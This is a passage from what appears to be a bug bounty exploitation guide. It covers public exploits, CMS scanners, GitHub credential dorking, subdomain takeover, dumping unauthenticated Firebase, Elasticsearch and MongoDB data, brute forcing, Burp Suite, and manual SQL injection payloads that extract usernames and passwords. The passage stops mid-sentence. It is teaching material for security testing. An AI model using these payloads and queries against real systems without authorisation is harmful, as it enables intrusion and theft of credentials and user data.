HTTP Basic 148 Json Web Token (JWT) 150 Introduction 150 Deleted Signature 153 None Algorithm 154 Brute Force Secret Key 155 RSA to HMAC 156 Summary 158 Security Assertion Markup Language (SAML) 159 Introduction 159 XML Signature Removal 162 XMLComment Injection 166 XML Signature Wrapping (XSW) 167 XSW Attack 1 168 XSW Attack 2 169 XSW Attack 3 171 XSW Attack 4 171 XSW Attack 5 172 XSW Attack 6 172 XSW Attack 7 173 XSW Attack 8 174 API Documentation 176 Introduction 176 Swagger API 176 XSS 178 Postman 179 WSDL 181 WADL 183 Summary 185 Conclusion 185 Caching Servers 186 Web Cache Poisoning 186 Introduction 186 Basic Caching Servers 186 Web Cache Poisoning 189 Summary 193 Web Cache Deception 194 Introduction 194 Web Cache Deception 194 Summary 201 More OWASP 203 Introduction 203 Server Side Template Injection (SSTI) 203 Introduction 203 Python - Jinja 2 206 Python - Tornado 210 Ruby- ERB 211 Ruby - Slim 214 Java - Freemarker 216 Summary 218 On-site Request Forgery (OSRF) 218 Introduction 218 OSRF 218 Summary 221 Prototype Pollution 222 Introduction 222 Prototype Pollution 223 Summary 224 Client Side Template Injection (CSTI) 225 Introduction 225 Angular Basics 225 Client Side Template Injection (XSS) 227 Summary 230 XML External Entity (XXE) 231 Introduction 231 XXE Basics 231 XML External Entity(XXE) Attack 233 Summary 236 CSP Bypass 236 Introduction 237 Content Security Policy (CSP) Basics 237 Basic CSP Bypass 241 JSONP CSP Bypass 242 CSP Injection Bypass 243 Summary 244 Relative Path Overwrite (RPO) 245 Introduction 245 RPO 245 Summary 249 Conclusion 249 Wrap Up 249 Introduction In the first version of the Bug Bounty Playbook I described the methodology and techniques I use during the recon and fingerprinting phase of an engagement. As you probably know there are 3 main phases of a bug bounty engagement: reconnaissance , fingerprinting , and exploitation. This book is all about the exploitation phase of a hunt. The exploitation phase of a hunt is where all the true hacking occurs. Everything up until this stage is just prep work and now it's time to get busy. Each target you go after will most likely be utilizing different technology stacks so it's important that you know the vulnerabilities and misconfiguration impacting an array of technologies. For example having knowledge of Github is important when mining for hardcoded passwords and other sensitive information. If you don’t know what Github is how are you supposed to know the possible security failures companies can impose when using it ? You need to have deep knowledge on a wide range of technologies. In addition to this you also need deep knowledge of web application vulnerabilities. The vast majority of a company's public facing assets are going to be web apps so it's vital that you know at the very least the OWASP top 10. The more vulnerabilities you know how to exploit the better chances you have of finding one. This book will go over the basics of the exploitation phase. Note I won't be teaching you how to use tools, for the most part everything we do will be done manually so you can get a deep understanding of the process. Once you know how things work at a deep level you will want to replace some of your manual process with tools and automation. Basic Hacking Known Vulnerabilities Introduction One of the first things you learn in hacker school is how to identify and exploit known vulnerabilities. This may seem like a relatively simple step but you would be surprised at the number of people who completely skip this phase of the exploitation cycle. As shown above we start off by visiting the target application, next we attempt to determine what software it is running. Once we find out what software and version the endpoint is running we search on Google and other resources to see if it has vulnerabilities or CVEs. After that we proceed to search for the exploit code and finally we run the exploit code against the target. Another version of this technique focuses on 1-days. In this cycle we start off by looking at our threat feeds such as exploitdb and twitter. Here we are looking for new exploits and CVEs that have just dropped, these are known as 1-days. When going down this path time is the most important aspect, when a new exploit is dropped in the wild you need to start exploiting your targets before they have a chance to patch. Once you hear about a new exploit you will need to quickly find a POC for it and start mass scanning all of your targets for that vulnerability. As you can see both of these methodologies are very similar. With the first one we find a target and see if it has any known vulnerabilities and if it does we try to exploit them. In the second methodology we are looking for newly released exploits. When a new exploit is dropped we immediately start scanning and exploiting everything before the defenders have a chance to patch. Identifying technologies Introduction When attempting to exploit a target with a known vulnerability you could just launch your exploit at every target and hope for the best or you can do things a little smarter. Identifying the target technology stack will help you find the exploits impacting that stack. Not knowing this information will leave you blind and you will have to take random guesses at which exploits might work. Wappalyzer If you're attempting to discover the technologies running on a website the best place to start is wappalyzer. An alternative to wappalyzer is “ https://builtwith.com/ ” but I personally like wappalyzer better. I personally like to use the wappalyzer browser plugin as it makes it easy to determine an endpoints tech stack when browsing their website. As you can see in the image above this website is running “Ruby on Rails”, “Jquery 3.5.0”, “Backbone.js 1.4.0”, and a few other things. Note that if you use a command line tool you can scan multiple websites at once, this is nice if you're trying to scan hundreds or thousands of sites at once. Powered By Wappalyzer is great but it won’t identify everything. Wappalyzer works off of regexes so if it doesn't have a specific technologies regex in its database it won't be able to identify it. As shown above, the wappalyzer came back mostly blank. However, if you look at the footer at the bottom of the page you see the words “Powered by Gila CMS” . We can conclude that this site is running Gila CMS but if we were only looking at wappalyzer we would have missed this. Summary You need to know the technology stack your target is running so you can find associated exploits. There are a few ways to determine the technologies an endpoint is running but I almost always use wappalyzer. If you can’t determine this information with wappalyzer there are other techniques to find an endpoints technology stack. Identifying the vulnerabilities Introduction You know what software your target is running but how do you determine what vulnerabilities it has? The whole point of learning a target technology stack is so you can use this information to find associated vulnerabilities. Google When I'm looking to see what vulnerabilities a technology has the first place I go is Google. Actually, Google is the first place I go when I have a question about anything as it's the best resource out there. Try typing the following search queries into Google: ● <TECHNOLOGY> <VERSION> vulnerabilities ● <TECHNOLOGY> <VERSION> exploits There is all kinds of stuff here! I see SQL injection exploits, LFI exploits, and much more. I recommend you click on the first couple links to see what interesting vulnerabilities there are. You'd be surprised at the things you will find buried in a blog post 10 links down the page. ExploitDB Another place I like to search is ExploitDB. ExploitDB is a tool used to search and download exploit code. This is by far one of my favorite resources to use when searching for vulnerabilities related to a technology stack. ● https://www.exploit-db.com/ You can use the website to search for things but I typically use the command line tool called searchsploit. You can download this tool from Github as shown below: ● https://github.com/offensive-security/exploitdb ● ./searchsploit “name of technology” Normally once we find out the vulnerabilities a target is vulnerable to we have to search for the exploit code but we can skip this step since ExploitDB provides us with the proof of concept(POC) code as well. CVE According to Google, the Common Vulnerabilities and Exposures(CVE) system provides a reference-method for publicly known information-security vulnerabilities and exposures. If you're looking to find what CVEs a technology stack has, there is no better place to search than NIST. ● https://nvd.nist.gov/vuln/search Searching for “Gila CMS” gives us 17 CVEs, the newer the CVE the better as there is a better chance the target hasn't patched their systems yet. Note that just because you find a CVE doesn't mean you can exploit it. To exploit a CVE you need the proof of concept(POC) exploit code, without that you're stuck. Summary Locating the vulnerabilities impacting a technology stack is relatively easy. All you really have to do is search for them. Between Google, ExploitDB, and NIST you should be able to find everything you're looking for. Finding the POC Introduction You have identified that the target application contains vulnerabilities but to exploit them you need the proof of concept (POC) exploit code. If you don't have the exploit code your only other option is to make it yourself. However, this is beyond the scope of this book. Github One of the best places to find exploit code is Github. GitHub is an American multinational corporation that provides hosting for software development and version control using Git. It offers the distributed version control and source code management functionality of Git, plus its own features. Developers love Github and hackers do as well. You can easily search for a CVE on Github as shown in the above image. If there is a POC you will most likely find it on here. However, BE AWARE OF FAKE POCs as these exploits are not vetted and come from untrusted third parties. ExploitDB I already mentioned ExploitDB earlier so im not going to talk about it again but this is a great resource for finding POCs. ● https://www.exploit-db.com/ Summary 9 times out of 10 you are going to find the exploit code you're looking for on Github or on ExploitDB. If you can’t find it in one of those locations it probably doesn't exist and you will have to create your own POC. However, don’t be afraid to search for resources. Sometimes the POC code can be buried deep in a blog post on the 5th page of Google. Exploitation Once you have a working POC you are ready to test it against your target. I always recommend setting up a vulnerable machine to test the exploit against first so you know what to expect from a real target. Once you're ready just run the exploit on your target and review the results to see if they are vulnerable or not. Conclusion Exploiting known vulnerabilities is one of the oldest tricks in the book. That being said it’s still one of the best methodologies to use for quick easy wins. There are really only three steps when using this approach. First determine your targets techstack, search for any vulnerabilities in that tech stack, and finally run the exploits. Basic Hacking CMS Introduction Content management systems(CMS) such as wordpress,drupal,and joomla make up the vast majority of the internet. According to a survey performed by W3Techs 62% of the internet is run on a CMS and 39.1% percent of the internet is run on wordpress. As an attacker this means the vast majority of the sites you are going to be going up against will be run by a CMS. Wordpress As of right now over a quarter (25%) of the internet is built using WordPress. This is useful to know because that means a single exploit has the potential to impact a large portion of your target’s assets. There are in fact hundreds of exploits and misconfigurations impacting WordPress and its associated plugins. One common tool to scan for these vulnerabilities is wpscan: ● https://github.com/wpscanteam/wpscan The only thing that’s annoying about this tool is that it's written in ruby, I prefer tools written in python or Golang. During the fingerprinting phase you should've discovered the technologies running on your target's assets so it should be easy to search for sites running WordPress. Once you find a site scan it with wpscan as shown below: ● wpscan --URL <URL> The vast majority of the sites you scan are going to be patched. This is because most of these WordPress sites are managed by third party vendors who perform automatic updates. However, you will run into vulnerable plugins quite frequently but many of these exploits require credentials to exploit. Another thing I find all the time is directly listing on the uploads folder. Always make sure to check: ● “/wp- content/uploads/” You can often find sensitive information such as user emails, passwords, paid digital products, and much more. Drupal Drupal is the third most popular CMS yet I seem to run into Drupal sites more than Joomla. If you find a Drupal site you want to use droopescan to scan it. This scanner also has the ability to scan additional CMSs as well: ● https://github.com/droope/droopescan ● python3 droopescan scan Drupal -u <URL Here> -t 32 Joomla WordPress is by far the most popular CMS with over 60% of the market share. Joomla comes in second so you can expect to run into this CMS as well. Unlike WordPress sites who seem to be fairly locked down Joomla is a mess. If you want to scan for vulnerabilities the most popular tool is Joomscan: ● https://github.com/rezasp/joomscan ● perl joomscan.pl -u <URL Here> Adobe AEM If you ever run into the Adobe AEM CMS you're about to find a whole bunch of vulnerabilities. 99% of the time this is an instant win! This CMS is riddled with public vulnerabilities and I’m 100% positive there are hundreds more zero days. Seriously this is one of the worst CMSs I have ever seen. If you want to scan an AEM application for vulnerabilities use the tool aemhacker: ● https://github.com/0ang3el/aem-hacker ● python aem_hacker.py -u <URL Here> --host <Your Public IP> Note that in order to test for the SSRF vulnerabilities you need to have a public IP that the target server can connect back to. Other There are hundreds of different CMSs so it wouldn't be practical for me to mention every single one of them. The vast majority of sites are going to be running WordPress, Joomla, and Drupal but you still might run into other CMSs. If you come across a CMS you haven't seen before the first step is to go to exploit db and see if it has any known CVEs: ● https://www.exploit-db.com/ For instance, if I discover a CMS named “Magento” I would perform the following search on exploit-db: In addition to finding single exploits you want to search GitHub to see if there is a tool that can scan for all the possible vulnerabilities and misconfigurations. Like the tools for wordpress,drupal, joomla, and adobe aem there are scanners that target other platforms. As it turns out there is a Magento vulnerability scanner called magescan so we can just use that: ● https://github.com/steverobbins/magescan Make sure to use this process whenever you come across a CMS framework you don’t recognize. Conclusion Over half of the internet is being run by a CMS framework. So, you are almost guaranteed to run into a CMS at one point or another. When you do find a CMS, you don’t want to waste time manually testing the endpoint, you want to test for known CVEs and misconfigurations. The best way to do this is to find some sort of CMS specific vulnerability scanner. If you can find that you can try searching exploit-db and google for known CVEs. If you still come up empty handed it’s probably best to move on unless you're hunting for zero days. Basic Hacking Github Introduction GitHub is a web-based version-control and collaboration platform for software developers and as of right now it’s one of the easiest ways to compromise an organization. This is one of my go to techniques when I want an easy high impact finding. Finding Sensitive Information Pilliging github for sensitive information disclosures is one of the easiest ways to compromise an organization. It doesn’t matter how hardened your external perimeter is if your developers are hard coding credentials and posting them online you’re going to get compromised. It's fairly common for developers to hard code test accounts, API keys, or whatever when they are writing a piece of software. This makes things easy for the developer as they won’t have to enter their credentials every time they go to run/test their program. However, more times than not these credentials remain in the source code when they push it to Github, if this repository is public everyone can view it. The first thing you need is a list of sensitive words to search on. This can be a file name, file extension, variable name, or anything else. A good list can be found below thanks to “@obheda12”: Once you have a list of sensitive things to search for your ready to hunt! I normally just type in the domain of the target followed by the Github Dork as shown below: ● Domain.com “password” As you can see above, searching for the domain “hackerone.com” and the term “password” gave us 7,390 results. In a typical scenario I would end up going through 90% of these results by hand for a few hours before I find something juicy. Having to spend hours sorting through a bunch of trash is really the only downside to this technique. However, when you do find something it typically leads to an insta high or critical finding. Conclusion As of right now Github is one of the easiest ways to get a high or critical vulnerability. Almost every developer uses Github and these same developers also like hard coding passwords in their source code. As long as you're willing to spend a few hours searching through thousands of repos you’re almost guaranteed to find something good. Basic Hacking Subdomain Takeover Introduction Another extremely popular vulnerability is subdomain takeover. Though this vulnerability has died down significantly it is still very common in the wild. If you are unfamiliar with this type of vulnerability according to Google “Subdomain takeover attacks are a class of security issues where an attacker is able to seize control of an organization's subdomain via cloud services like AWS or Azure”. Subdomain Takeover A subdomain takeover occurs when a subdomain is pointing to another domain (CNAME) that no longer exists. If an attacker were to register the non existing domain then the target subdomain would now point to your domain effectively giving you full control over the target’s subdomain. What makes this vulnerability so interesting is that you can be safe one minute and a single DNS change can make you vulnerable the next minute. The vulnerability here is that the target subdomain points to a domain that does not exist. An attacker can then register the non existing domain. Now the target subdomain will point to a domain the attacker controls. If you’re planning on hunting for this vulnerability you are definitely going to be referencing the following github page as it contains a bunch of examples and walkthroughs on exploiting different providers: ● https://github.com/EdOverflow/can-i-take-over-xyz As you can see above this page contains a large list of engines who can be exploited by this vulnerability. If you click on the issue number it will give you a walk through exploiting that particular engine. Because every provider has its own way of registering domains you will need to learn the process of registering a domain on the engine that impacts your target. Github Takeover One of the easiest ways to spot a subdomain takeover vulnerability is by the error message it throws as shown below: As you can see above when we visit our target site it throws a 404 status code and gives us the error message “There isn’t a Github Pages Site here”. If we go to the subdomain takeover wiki we can confirm that this error message indicates the possibility of subdomain takeover. Now that we have an indicator this site is vulnerable we need to get the github page the vulnerable subdomain is pointing to. We need this information so we can register the domain through github. As shown above a “dig” command can be used to gather the DNS records of the vulnerable domain. We can also see that the domain points to the github page “ghostlulzvulntakeover.github.io”, if we can register this domain we win. To figure out the process of registering a domain on Github you can Google it or you can follow the tutorial in the subdomain takeover github page as shown below: Now that we know the steps to register a domain on Github we just need to do it. First I created a Github repo with the same name as the CNAME record: After that create an “index.html” file in the repo as shown below: The next step is to set the repo as the main branch. Finally specify the target domain you are going after. That's it! Now when you visit the target domain you should see the page you set up. We WIN! As you can see above we successfully exploited the subdomain takeover vulnerable and got our page to appear on the targets subdomain. Note that this is the process for Github, if your target is vulnerable to something else you will have to follow the steps for that provider. Lucky for us all this is documented on the subdomain takeover github wiki. Conclusion A few years ago subdomain takeover was all over the place but it has started to die down recently. However, you will still find plenty of organizations vulnerable to this type of attack. It is extremely easy to pull off and it allows attackers to completely take over the target subdomain. If you’re looking for an easy high security finding this is it. Basic Hacking Databases Introduction A database is an organized collection of data, generally stored and accessed electronically from a computer system. If you’re attacking a web application a lot of the time one of the main goals is to compromise the back end database as it's where all the sensitive user data is stored. Compromising these databases normally involves exploiting an sql injection vulnerability but sometimes it can be much easier. These databases are often exposed to the internet without authentication leaving them open to hackers for pilliging as discussed in the following sections. Google Firebase Introduction According to Google “The Firebase Realtime Database is a cloud-hosted database stored as JSON and synchronized in realtime to every connected client”. An issue can arise in firebase when developers fail to enable authentication. This vulnerability is very similar to every other database misconfiguration, there's no authentication. Leaving a database exposed to the world unauthenticated is an open invite for malicious hackers. Misconfigured Firebase Database When i'm hunting for this I'll try to keep an eye out for the “*.firebaseio.com” url, if you see this then you know your target is utilizing Google's firebase DB. An example domain can be found below: ● Vuln-domain.firebaseio.com If the developer forgot to enable authentication the database will be exposed to the word. You can easily view the database by appending a “/.json” to the url as shown below: ● vuln-domain.firebaseio.com/.json As you can see above we were able to dump a bunch of passwords belonging to an organization. An attacker could then leverage these credentials to perform additional attacks on the application. Summary Finding and exploiting this misconfiguration is extremely easy and requires zero technical skills to pull off. All you need to do is find an application using firebase, append “/.json” to the url, and if there isn't authentication you can export the entire DB! ElasticSearch DB Introduction You have probably heard of the popular relational database called MySQL. Elastic search like MySQL is a database used to hold and query information. However, elastic search is typically used to perform full text searches on very large datasets. Another thing to note is that ElasticSearch is unauthenticated by default which can cause a lot of security problems as described in the following sections. ElasticSearch Basics According to Google “ElasticSearch is a document- oriented database designed to store, retrieve, and manage document-oriented or semi-structured data. When you use Elasticsearch, you store data in JSON document form. Then, you query them for retrieval.” Unlike MySQL which stores its information in tables, elastic search uses something called types. Each type can have several rows which are called documents. Documents are basically a json blob that hold your data as shown in the example below: ● {"id":1, "name":"ghostlulz", "password":"SuperSecureP@ssword"} In MySQL we use column names but in Elasticsearch we use field names. The field names in the above json blob would be id, name, and password. In MySQL we would store all of our tables in a database. In Elastic Search we store our documents in something called an index. An index is basically a collection of documents. Unauthenticated ElasticSearch DB Elastic search has an http server running on port 9200 that can be used to query the database. The major issue here is that a lot of people expose this port to the public internet without any kind of authentication. This means anyone can query the database and extract information. A quick Shodan search will produce a tun of results as shown below: Once you have identified that your target has port 9200 open you can easily check if it is an ElasticSearch database by hitting the root directory with a GET request. The response should look something like the following: Once you know an endpoint has an exposed Elastic Search db try to find all the indexes(Databases) that are available. This can be done by hitting the “/_cat/indices?v” endpoint with a GET request. This will list out all of the indexes as shown below: This information along with other details about the service can also be found by querying the “/_stats/?pretty=1” endpoint. To perform a full text search on the database you can use the following command “/_all/_search?q=email” . This will query every index for the word “email”. There are a few words that I like to search for which include: ● Username ● Email ● Password ● Token ● Secret ● Key If you want to query a specific index you can replace the word “_all” with the name of the index you want to search against. Another useful technique is to list all of the field names by making a GET request to the “/INDEX_NAME_HERE/_mapping?pretty=1” endpoint. I typically search for interesting field names such as: ● Username ● Email ● Password ● Token ● Secret ● Key The output should look something like this: As you can see above we have the field names addressable_type, city, and much more which isn't displayed as the output was too large. To query all values that contain a specific field name use the following command “/_all/_search?q=_exists:email&pretty=1” . This will return documents that contain a field name(column) named email as shown below: Again you can replace “_all” with the name of an index to perform searches specifically against that endpoint. Summary ElasticSearch is just another database where you can store and query information. The major problem is that people expose the unauthenticated web service to the public. With unauthenticated access to the web service attackers can easily dump the entire database. Always be on the lookout for port 9200. Mongo Database Introduction Like Elasticsearch MongoDB is a nosql database that uses JSON-like documents to store data. Also similar to the rest of the databases we have talked about Mongo DB fails to implement authentication by default. This means it's up to the user to enable this which they often forget. MongoDB If you're searching for MongoDB instances, be on the lookout for port 27017. As mentioned earlier MongoDB doesn't have authentication enabled by default so to test for this vulnerability just try to login. To do this I normally just use the mongo cli as shown below: ● mongo ip-address-here Once logged into the database try issuing a command, if you get an “unauthorized” error message prompting for authentication then the endpoint has authentication enabled. However, if you can run arbitrary commands against the system then authentication has not been set up and you can do whatever you want. Summary If you see port 27017 open or any other MongoDB associate port make sure to test the endpoint to see if its missing authentication. Exploiting this misconfiguration is as easy as connecting to the database and extracting the data. This is as easy as it gets folks. Conclusion If an application needs to store data chances are its being stored in a database. These databases hold all kinds of sensitive information such as passwords, tokens, private messages, and everything else. That's why databases are always popular targets by hackers. Since these are such popular targets you would think they would be fairly secure but they aren't. A lot of databases are missing authentication by default! This means if connected to the internet anyone could connect to these devices to extract the information they hold. Name Endpoint Firebase DB *.firebaseio.com/.json Elasticsearch Port:9200 MongoDB Port:27017 CouchDB Port:5985,6984 CassandraDB Port:9042,9160 Basic Hacking Brute Forcing Introduction Brute forcing is a classic attack that has been around forever and shows no signs of being eliminated. Passwords are a weak point of security and as an attacker you should take full advantage of this. Easily guessable passwords, using default passwords, and password reuse are easy ways for an organization to get compromised. The rule of thumb is if there is a login screen it should be brute forced. Login Pages There are three things you need to have if you want to launch a brute force attack. The three things you need are an endpoint with a login page, a username , and a password. First you need to find the endpoint you want to target. Name Endpoint Web Application Login Page Web application login page, Outlook mail, VPN, Router, Firewall, Wordpress admin panel, etc SSH Port:22 RDP Port:3389 VNC Port:5900 FTP Port:21 Telnet Port:23 Default Credentials Now that you know which endpoints to look out for you need to get a list of usernames and passwords. This technique may be basic but you would be surprised at the number of times iv compromised an organization because they are using default credentials. As shown above one of the best places to find default passwords is SecList: ● https://github.com/danielmiessler/SecLists/tree/master/Passwords/Default-Credentials The above picture is an example file containing default usernames and passwords to hundreds of routers. All you have to do is look up the target vendor and try all the default passwords it uses, this technique works very well as people often forget to change the default credentials. If you are targeting an SSH server or something other than a router the process will be slightly different. Not really, those services also come with default credentials as shown in the image below: Depending on the service you are brute forcing you will want to find or create a list of credentials tailored toward that. You may also find that sec list does not have any default passwords impacting the target technology. If that's the case just perform a Google search or two, I normally find these things in the first few links. Brute Forcing Once you have a good set of credentials you can start the actual process of brute forcing. You could do this by hand but I would 100% recommend using a tool for this job unless you are only testing 5 passwords or something small like that. ● https://github.com/vanhauser-thc/thc-hydra If you're performing a brute force attack you probably want to use the tool “hydra”. This tool supports a bunch of different protocols and has never let me down. Once you have the target endpoint and credentials you can use any tool to perform the brute force attack just pick one you like. Conclusion Brute force attacks is an easy way to compromise a target application. With the use of default passwords, easily guessable passwords, and password reuse finding a target vulnerable to this shouldn't be that hard. All you need is a good credential list and you're ready to go. Basic Hacking Burp Suite Introduction If there is one tool that you NEED to have to be a successful Bug Bounty Hunter it would be Burp Suite. You can find plenty of bugs without ever leaving Burp, it is by far my most used and favorite tool to use, almost every web attack I pull off is in Burp. If you don’t know what Burp is it’s a tool for performing security tests against web applications. The tool acts as a proxy and allows you to inspect, modify, replay, etc to web requests. Almost every exploit your going to pull off will be done with Burp. ● https://portswigger.net/burp Note that there is a free version (community) but I HIGHLY recommend purchasing a professional license. This is a must have tool! Proxy The proxy tab is probably the most important tab in Burp. This is where you can see all of your traffic that passes by the Burp proxy. The first thing you want to do when Burp loads is make sure your proxy is up and running as shown in the below image: The next step is to force your browser to route its traffic through the Burp proxy, this can be accomplished by changing your browsers proxy setting and shown below, note this will be different depending on which browser you use: Once you have the Burp proxy listening, the browser configured to use Burp, and you imported the Burp certificate in your browser you will be good to go. Once you navigate to a web page you should see the request show up in Burp as shown below: As you can see in the above image the “intercept” tab is toggled on, this means that Burp will intercept each HTTP request and you will have to manually press the “forward” button for the request to continue to the server. While on this tab you can also modify the requests before forwarding it to the back-end server. However, I only use this tab when i'm trying to isolate requests from a specific feature, I normally turn “intercept” to off and I view the traffic in the “HTTP History” tab and shown below: As you can see the “HTTP History” tab shows each HTTP request and response that was made by and sent to our browser. This is where I spend 80% of my time looking for something that peaks my interest. When looking at the traffic I'm mostly paying attention to the method,url, and MIME type fields. Why? Because when I see a POST method being used I think of Stored XSS, Cross site request forgery, and many more vulnerabilities. When I see a URL with an email,username,or id in it I think IDOR. When I see a JSON MIME type I think back-end API. Most of this knowledge of knowing what to look for comes with experience, as you test so many apps you start to see things that look similar and you start to notice things that look interesting. Clicking on an HTTP request will show you the clients request and the servers response, this can be seen in the above image. Note that while in this view these values can’t be modified, you will have to send the request to the repeater if you want to modify the request and replay it, this will be discussed in more detail later. One functionality that I use to find a lot of vulnerabilities and make my life easier is the search feature. Basically you can search for a word(s) across all of your Burp traffic. This is extremely powerful and has directly led me to finding vulnerabilities. For example I may search for the word “url=” this should show me all requests which have the parameter URL in it, I can then test for Server Side Request Forgery (SSRF) or open redirect vulnerabilities. I might also search for the header “Access-Control-Allow-Origin” or the“callback=” GET parameter when testing for Same Origin Policy (SOP) bypasses. These are just some examples, your query will change depending on what you're looking for but you can find all kinds of interesting leads. Also don't worry if you don't know what SSRF or SOP bypass means these attacks will be discussed in the upcoming chapters. Burps proxy tab is where you will spend most of your time so make sure you are familiar with it. Any traffic that is sent by your browser will be shown in the HTTP history tab just make sure you have intercept turned off so that you don’t have to manually forward each request. Target I generally don't find myself in the target section of burp suite but I think it's still important to know what it is. The “Site Map” sub tab organizes each request seen by the proxy and build a site map as shown below: As you can see in the above image a site map is built which easily allows us to view requests from a specific target. This becomes fairly useful when hitting an undocumented API endpoint as this view allows you to build a picture of the possible endpoints. You can also view the HTTP requests in this tab, clicking on a folder in the sitemap will only show requests from that path. In addition to the “Site Map” tab there is a “Scope” tab. I almost never use this but if you want to define the scope of your target this will limit burps scans to only the domains in scope. Intruder If you're doing any fuzzing or brute forcing with Burp you're probably doing it in the “intruder” tab. When you find an interesting request right click it then click “Send to Intruder”, this will send your requests to the intruder tab as shown below: Go to the intruder tab and you should see something like this: Now click the “Clear” button to reset everything. Now from here your steps vary depending on what you're trying to do, but suppose we are trying to do some parameter fuzzing. One of the first things we need to do is select the value we are trying to modify. This can be done by highlighting the value and pressing the “Add” button as shown below: As you can see above we are selecting the “cb” parameter value. Since we are attempting to do parameter fuzzing this is the value that will be replaced with our fuzzing payloads. You may have also noticed the “Attack type” drop down menu is set to “Sniper”, there are four different attack types which are described in the table below: Sniper Uses a single payload list; Replaces one position at a time; Battering ram Uses a single payload list; Replaces all positions at the same time; Once you have selected your attack type and the value to be modified click on the “Payloads” sub tab as shown below: Pitchfork Each position has a corresponding payload list; So if there are two positions to be modified they each get their own payload list. Cluster Bomb Uses each payload list and tires different combinations for each position. Here we want to select our payload type and the payload list. There are numerous payload types but i'm going to keep it on the default one, feel free to play around with the others. As for my payload list we want a list of fuzzing values. For this example im just going to use the default lists that comes with Burp but there are some other good lists on SecLists: ● https://github.com/danielmiessler/SecLists/tree/master/Fuzzing Now to use Burps pre defined list just click the “Add from list” drop down menu and select one: Now that you have your fuzzing list imported all that you have to do is press “Start attack”. . As shown above after hitting the “Start attack” button a popup will appear and you will see your payloads being launched. The next step is to inspect the HTTP responses to determine if there is anything suspicious. Intruder is great for brute forcing, fuzzing, and other things of that nature. However, most professionals don't use intruder, they use a plugin called “Turbo Intruder”. If you don't know what “Turber Intruder” is, it's intruder on steroids, it hits a whole lot harder and a whole lot faster. This plugin will be discussed more in the plugins section. Repeater In my opinion this is one of the most useful tabs in Burp. If you want to modify and replay and request you do it in the repeater tab. Similar to Intruder if you right click a request and click “Send to Repeater” it will go to the repeater tab. Once the request is sent to the Repeater tab you will see something like this: One this tab you can modify the request to test for vulnerabilities and security misconfigurations. Once the request is modified you can hit the Send button to send the request. The HTTP response will be shown in the Response window. You might have noticed that at the top there are a bunch of different tabs with numbers on them. By default every request you send to the repeater will be assigned a number. Whenever I find something interesting I change this value so I can easily find it later, that's why one of the tabs is labeled SSRF,it’s a quick easy way to keep a record of things. Conclusion Burp Suite is the one tool every bug bounty hunter needs in their arsenal. If you’re doing a deep dive on a target application Burp is the only tool you need. It has a vast amount of plugins to aid in the identification and exploitation of bugs but its real power comes from allowing attackers the ability to inspect and manipulate raw HTTP requests. Once you learn the basics of Burp you can pull off the vast majority of your hacks using the tool. Basic Hacking OWASP Introduction I started off as a penetration tester specializing in web application and when I started doing bug bounties my skills carried over 100%. Legit 80% of the attacks you pull off are going to be against a web application. After all, in today's world the vast majority of a company's public facing assets are web applications. For this reason alone you MUST learn web application hacking if you want to be successful and there is no better place to start than the OWASP top 10. If all you got out of this book was learning how to exploit these basic web vulnerabilities you will be able to find bugs all day. SQL Injection(SQLI) Introduction SQL Injection (SQL) is a classic vulnerability that doesn’t seem to be going anywhere. This vulnerability can be exploited to dump the contents of an applications database. Databases typically hold sensitive information such as usernames and passwords so gaining access to this is basically game over. The most popular database is MySQL but you will run into others such as MSSQL, PostgreSQL, Oracle, and more. The main cause of SQL injection is string concatenation as shown in the above code snippet. One line three the application is concatenating user supplied input with the sql query, if you ever see this you know you have sql injection. The reason why this is so dangerous is because we can append additional sql queries to the current query. This would allow an attacker to query anything they want from the database without restrictions. MySql The two most common types of sql injection are union based and error based. Union based sql injection uses the “UNION” sql operator to combine the results of two or more “SELECT” statements into a single result. Error based sql injection utilizes the errors thrown by the sql server to extract information. Typically when I'm looking for this vulnerability I'll throw a bunch of double and single quotes everywhere until I see the famous error message. As you can see in the first image appending a single quote to the “cat” variable value throws an sql error. Look at the two error messages and notice how they are different. Note that “%27” is the same as a single quote, it's just url encoded. In the following sections I'll show you how to exploit this vulnerability and no we won’t be using SqlMap, you need to know how to do this by hand. ● https://github.com/sqlmapproject/sqlmap Union Based Sql Injection Once you know that an endpoint is vulnerable to sql injection the next step is to exploit it. First you need to figure out how many columns the endpoint is using. This can be accomplished with the “order by” operator. Basically we are going to ask the server “do you have one column”, if it does the page will load. Then we ask “do you have two columns”, if it loads it does and if it throws an error we know it doesn't. We can see here the page loads just fine, this means there must be at least one column returned by the sql statement. Just keep adding one to the number until you get an error. ● Order by 1 ● Order by 2 ● Order by 3 ● Order by 4 If you were to try “order by 4” it will fail so there must not be 4 columns which means there are 3 because “order by 3” loaded without any errors. Now that you know how many columns the sql query is using you need to figure out which columns are being displayed to the page. We need to know this because we need a way to display the information we are extracting. To accomplish this we can use the “union all select” statement. Note that for the second select statement to show we need to make the first query return nothing, this can be accomplished by putting an invalid id. Notice the numbers on the page. These numbers refer to the columns which are being displayed on the front end. Look at the above example. I see the numbers “2” and “3” so these are the columns we will use to display the results from our queries. As shown above one of the first things I typically do is to display the database version, this can be accomplished with the following mysql command: ● @@version ● version() You can see we are working with mysql version 5.1.73, it's a good idea to note this down as it might come in handy later. Extracting the database version is cool and all but what about the sensitive data. To extract data we first need to know what database tables we want to target, we can get a list of tables with the following command: ● Select * from information_schema.tables Note that “information_schema.tables” is a default table within mysql that holds a list of table names. This table has two columns we care about, table_name and table_schema. You can probably guess what the table_name column represents. The table_schema column holds the name of the database the table belongs to, so if you only want to get tables from the current database make sure to filter the results with the “where” operator. ● union all select 1,2,group_concat(table_name) from information_schema.tables where table_schema = database() As you can see above we got a list of all the tables belonging to this database. You might have noticed the function “database()”, this function outputs the current database name and is used to filter the results via the table_schema column. You also might have noticed the “group_concat” function, this function will concatenate all the table names into a single string so they can all be displayed at once. Once you pick which table you want to target you need to get a list of columns belonging to that table. A list of columns belonging to a table can be retrieved via the “information_schema.columns” table as shown in the below query: ● union all select 1,2,group_concat(column_name) from information_schema.columns where table_name = "users" As you can see above there are a few columns returned, the most interesting column names are “uname” and “pass”. The final step is to dump the contents of these two columns as shown below: ● union all select 1,2,group_concat(uname,":",pass) from users As you can see above there is a user called “test” with the password “test”. We can then use these credentials to login to the application as that user. Error Based Sql Injection With union based sql injection the output is displayed by the application. Error based sql injection is a little different as the output is displayed in an error message. This is useful when there is no output except a sql error. Xpath If the MySql service version is 5.1 or later we can use the “ extractvalue() ” function to exfiltrate data from the database. The ExtractValue() function generates a SQL error when it is unable to parse the XML data passed to it. Rember with error based sql injection we must extract our data via sql error messages. First you need to understand how the ExtractValue() function works, once you understand how this function operates you can abuse it for sql injection. As 